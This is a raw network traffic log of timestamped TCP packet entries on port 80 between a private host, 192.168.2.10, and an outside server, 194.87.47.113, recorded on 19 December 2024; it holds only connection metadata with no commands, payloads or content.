Dec 19, 2024 08:21:32.162908077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.163050890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.163111925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.163758039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.163791895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.163836956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.211421967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.211544991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.211585045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.211802959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.211926937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.211962938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.212605000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.212714911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.212757111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.213399887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.213514090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.213565111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.214171886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.214297056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.214346886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.214987040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.215085983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.215128899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.215760946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.215872049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.215912104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.216578960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.216666937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.216707945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.217489958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.217561960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.217607021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.218162060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.218281031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.218324900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.218949080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.219037056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.219078064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.219752073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.219837904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.219873905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.220501900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.220623970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.220664024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.221314907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.261451960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.261516094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.261578083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.261753082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.261799097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.261858940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.262618065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.262666941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.262769938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.263401985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.263454914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.263477087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.264283895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.264336109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.264379978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.264925957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.264998913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.265031099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.265729904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.265785933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.265836000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.266577005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.266623020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.266664982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.267277956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.267327070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.267407894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.268090010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.268163919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.268188000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.268887043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.268930912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.269002914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.269696951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.269745111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.269841909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.270509005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.270556927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.270638943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.271308899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.271364927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.271460056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.272027016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.272074938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.272205114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.273046017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.273093939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.273118973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.273761988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.273812056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.273825884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.274456024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.274504900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.274544954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.275226116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.275275946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.275305986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.276001930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.276067019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.276108027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.276777983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.276828051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.276881933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.277597904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.277656078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.277698040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.278367996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.278415918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.278456926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.279205084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.279220104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.279254913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.279963970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.280014038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.280059099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.280755997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.280817032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.280816078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.281562090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.281585932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.281639099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.282313108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.282362938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.282402039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.283112049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.283162117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.283174038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.283910990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.283961058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.284014940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.284729958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.284809113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.284846067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.285495996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.285546064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.285598040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.286293030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.286427021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.286437035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.287033081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.287112951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.351783991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.351805925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.351913929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.352000952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.352098942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.352145910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.352751017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.352902889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.352948904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.353585005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.353707075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.353754997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.354410887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.354590893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.354640007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.355158091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.355294943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.355340004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.355935097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.356024027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.356069088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.403796911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.403827906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.403918028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.404278040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.404398918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.404443026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.404691935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.404844999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.404891014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.405503035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.405602932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.405646086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.406330109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.406344891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.406399012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.407069921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.407212019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.407264948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.407887936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.408023119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.408067942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.408730984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.408855915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.408896923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.409625053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.409773111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.409820080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.410247087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.410362959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.410409927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.411036015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.411168098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.411210060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.411864042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.411938906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.411979914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.412626028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.412792921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.412853956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.413378000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.453649044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.453727961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.453731060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.454011917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.454062939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.454190016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.454744101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.454797029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.454848051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.455676079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.455727100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.455842972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.456348896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.456398964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.456429958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.457127094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.457178116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.457259893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.458050013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.458106995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.458123922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.458676100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.458723068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.458782911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.459520102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.459573030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.459635019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.460270882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.460324049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.460369110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.461067915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.461116076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.461153030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.461843967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.461893082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.462064981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.462646961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.462696075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.462794065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.463445902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.463500023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.463560104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.464215040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.464267969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.464335918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.465049982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.465094090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.465112925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.465794086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.465843916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.465902090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.466689110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.466732979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.466952085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.467490911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.467509985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.467530966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.468189955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.468228102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.468302011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.468981028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.469019890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.469089985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.469786882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.469824076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.469973087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.470544100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.470582008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.470638990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.471368074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.471406937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.471406937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.472165108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.472246885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.472273111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.472928047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.472968102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.473031998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.473716974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.473756075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.473793983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.474512100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.474550009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.474626064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.475297928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.475339890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.475369930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.476146936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.476183891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.476345062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.476907015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.476943970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.476999044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.477675915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.477771044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.477777958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.478471994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.478513956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.478563070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.479222059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.479259014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.543589115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.543648958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.543826103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.544178009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.544246912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.544291019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.544831038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.545044899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.545092106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.545789003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.545953989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.545999050 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.546650887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.546700001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.546746969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.547250032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.547446966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.547482014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.548070908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.548110008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.548162937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.595808029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.595885992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.595935106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.596160889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.596237898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.596290112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.597007036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.597062111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.597103119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.597848892 CET	80	49720	194.87.47.113	192.168.2.10
